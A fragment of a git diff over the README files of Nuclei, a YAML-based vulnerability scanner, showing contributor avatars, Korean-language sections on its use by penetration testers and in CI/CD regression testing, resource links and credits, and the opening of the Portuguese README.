<a href="https://github.com/ghost"><img src="https://avatars.githubusercontent.com/u/10137?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Nishan8583"><img src="https://avatars.githubusercontent.com/u/20457968?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jdk2588"><img src="https://avatars.githubusercontent.com/u/985054?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nothinux"><img src="https://avatars.githubusercontent.com/u/17433202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CodFrm"><img src="https://avatars.githubusercontent.com/u/22783163?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CasperGN"><img src="https://avatars.githubusercontent.com/u/5549643?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ankh2054"><img src="https://avatars.githubusercontent.com/u/6784287?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revblock"><img src="https://avatars.githubusercontent.com/u/72813848?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/cn-kali-team"><img src="https://avatars.githubusercontent.com/u/30642514?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/EndPositive"><img src="https://avatars.githubusercontent.com/u/25148195?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jimen0"><img src="https://avatars.githubusercontent.com/u/6826244?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xstevens"><img src="https://avatars.githubusercontent.com/u/69216?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mjkim610"><img src="https://avatars.githubusercontent.com/u/17107206?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/organiccrap"><img src="https://avatars.githubusercontent.com/u/376317?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lu4nx"><img src="https://avatars.githubusercontent.com/u/3006875?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/souvikhazra1"><img src="https://avatars.githubusercontent.com/u/13842393?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tovask"><img src="https://avatars.githubusercontent.com/u/22732484?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Marmelatze"><img src="https://avatars.githubusercontent.com/u/199681?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/doug-threatmate"><img src="https://avatars.githubusercontent.com/u/127235272?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/yabeow"><img src="https://avatars.githubusercontent.com/u/21117771?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/olearycrew"><img src="https://avatars.githubusercontent.com/u/6044920?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gano3s"><img src="https://avatars.githubusercontent.com/u/2551605?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alizmhdi"><img src="https://avatars.githubusercontent.com/u/79321261?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hackerpain"><img src="https://avatars.githubusercontent.com/u/61242234?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lc"><img src="https://avatars.githubusercontent.com/u/19563282?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/savushkin-yauheni"><img src="https://avatars.githubusercontent.com/u/5173352?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/74616e696d"><img src="https://avatars.githubusercontent.com/u/97121933?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/edoardottt"><img src="https://avatars.githubusercontent.com/u/35783570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zt2"><img src="https://avatars.githubusercontent.com/u/7644862?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/moonD4rk"><img src="https://avatars.githubusercontent.com/u/24284231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wk8"><img src="https://avatars.githubusercontent.com/u/2536231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mikerott"><img src="https://avatars.githubusercontent.com/u/857712?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/toufik-airane"><img src="https://avatars.githubusercontent.com/u/5610269?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hktalent"><img src="https://avatars.githubusercontent.com/u/18223385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jturner"><img src="https://avatars.githubusercontent.com/u/1825202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gaby"><img src="https://avatars.githubusercontent.com/u/835733?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vavkamil"><img src="https://avatars.githubusercontent.com/u/47953210?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leonjza"><img src="https://avatars.githubusercontent.com/u/1148127?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mionskowski-form3"><img src="https://avatars.githubusercontent.com/u/91873652?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chenrui333"><img src="https://avatars.githubusercontent.com/u/1580956?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamargus95"><img src="https://avatars.githubusercontent.com/u/77744293?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shashikarsiddharth"><img src="https://avatars.githubusercontent.com/u/60960197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/trypa11"><img src="https://avatars.githubusercontent.com/u/67585616?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Zeokat"><img src="https://avatars.githubusercontent.com/u/1313154?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alban-stourbe-wmx"><img src="https://avatars.githubusercontent.com/u/159776828?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/anykno"><img src="https://avatars.githubusercontent.com/u/2528207?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ronaudinho"><img src="https://avatars.githubusercontent.com/u/10264710?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/boy-hack"><img src="https://avatars.githubusercontent.com/u/18695984?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iuliu8899"><img src="https://avatars.githubusercontent.com/u/31680027?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
**침투 테스터들을 위해:**
|
||||
<sub>**`nuclei`** 는 [**MIT 라이선스**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) 하에 배포됩니다</sub>
|
||||
|
||||
Nuclei는 수동적이고 반복적인 프로세스를 보강하여 보안 평가에 접근하는 방식을 크게 개선합니다.
|
||||
컨설턴트들은 이미 Nuclei를 사용해 수동 평가 단계를 전환하고 있으며 이를 통해 수천 개의 호스트에서 자동화된 방식으로 맞춤형 평가 접근 방식을 실행할 수 있습니다.
|
||||
|
||||
침투 테스터는 평가 프로세스, 특히 수정 사항을 쉽게 확인할 수 있는 회귀 주기를 통해 공개 템플릿 및 사용자 지정 기능을 최대한 활용할 수 있습니다.
|
||||
|
||||
- 규정 준수, 표준 제품군(예: OWASP Top 10) 체크리스트 쉽게 생성.
|
||||
- Nuclei의 [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) 및 [workflows](https://nuclei.projectdiscovery.io/templating-guide/workflows/) 같은 기능으로 복잡한 수동 단계와 반복 평가를 쉽게 자동화할 수 있음.
|
||||
- 템플릿 재실행으로 취약점 수정 재테스트 용이.
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
# 개발자를 위한
|
||||
|
||||
Nuclei는 단순성을 염두에 두고 구축되었으며 수백 명의 보안 연구원들이 지원하는 커뮤니티 템플릿을 사용하여 호스트에서 지속적인 Nuclei 스캔을 사용하여 최신 보안 위협에 대한 업데이트를 유지할 수 있습니다.
|
||||
|
||||
수정 사항을 검증하고 향후 발생하는 취약점을 제거하기 위해 회귀 테스트 주기에 쉽게 통합되도록 설계되었습니다.
|
||||
|
||||
- **CI/CD:** 엔지니어들은 이미 CI/CD 파이프라인 내에서 Nuclei를 활용하고 있으며 이를 통해 맞춤형 템플릿으로 스테이징 및 프로덕션 환경을 지속적으로 모니터링할 수 있습니다.
|
||||
- **Continuous Regression Cycle:** Nuclei를 사용하면 새로 식별된 모든 취약점에 대한 사용자 지정 템플릿을 만들고 Nuclei 엔진에 넣어 지속적인 회귀 주기에서 제거할 수 있습니다.
|
||||
|
||||
[이 문제에 대한 논의 스레드](https://github.com/projectdiscovery/nuclei-templates/discussions/693)가 있으며, Nuclei 템플릿을 작성해 제출할 때마다 해커에게 인센티브를 제공하는 버그 바운티 프로그램들이 존재합니다. 이 프로그램은 모든 자산에서 취약점을 제거할 뿐만 아니라 미래에 프로덕션에 다시 등장할 위험을 제거할 수 있도록 도와줍니다.
|
||||
이것을 당신의 조직에서 구현하는 것에 관심이 있다면 언제든지 [저희에게 연락하십시오](mailto:[email protected]).
|
||||
시작하는 과정에서 기꺼이 도와드리거나 [도움이 필요한 경우 논의 스레드](https://github.com/projectdiscovery/nuclei-templates/discussions/693)에 게시할 수도 있습니다.
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/regression-with-nuclei.jpg" alt="regression-cycle-with-nuclei" width="1100px"></a>
|
||||
</h3>
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
|
||||
### Resources
|
||||
|
||||
- [Finding bugs with Nuclei with PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) by **[@PinkDraconian](https://twitter.com/PinkDraconian)**
|
||||
- [Nuclei: Packing a Punch with Vulnerability Scanning](https://bishopfox.com/blog/nuclei-vulnerability-scan) by **Bishopfox**
|
||||
- [The WAF efficacy framework](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) by **Fastly**
|
||||
- [Scanning Live Web Applications with Nuclei in CI/CD Pipeline](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) by **[@TristanKalos](https://twitter.com/TristanKalos)**
|
||||
- [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)
|
||||
- [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
|
||||
- [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)
|
||||
- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)
|
||||
- [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by **[@dwisiswant0](https://github.com/dwisiswant0)**
|
||||
- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)**
|
||||
|
||||
### Credits
|
||||
|
||||
Thanks to all the amazing community [contributors for sending PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors). Do also check out the below similar open-source projects that may fit in your workflow:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
### License
|
||||
|
||||
Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
</div>
|
||||
+581
-282
@@ -1,371 +1,670 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Scanner de vulnerabilidades rápido e personalizável baseado em uma DSL simples baseada em YAML.</h4>
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
|
||||
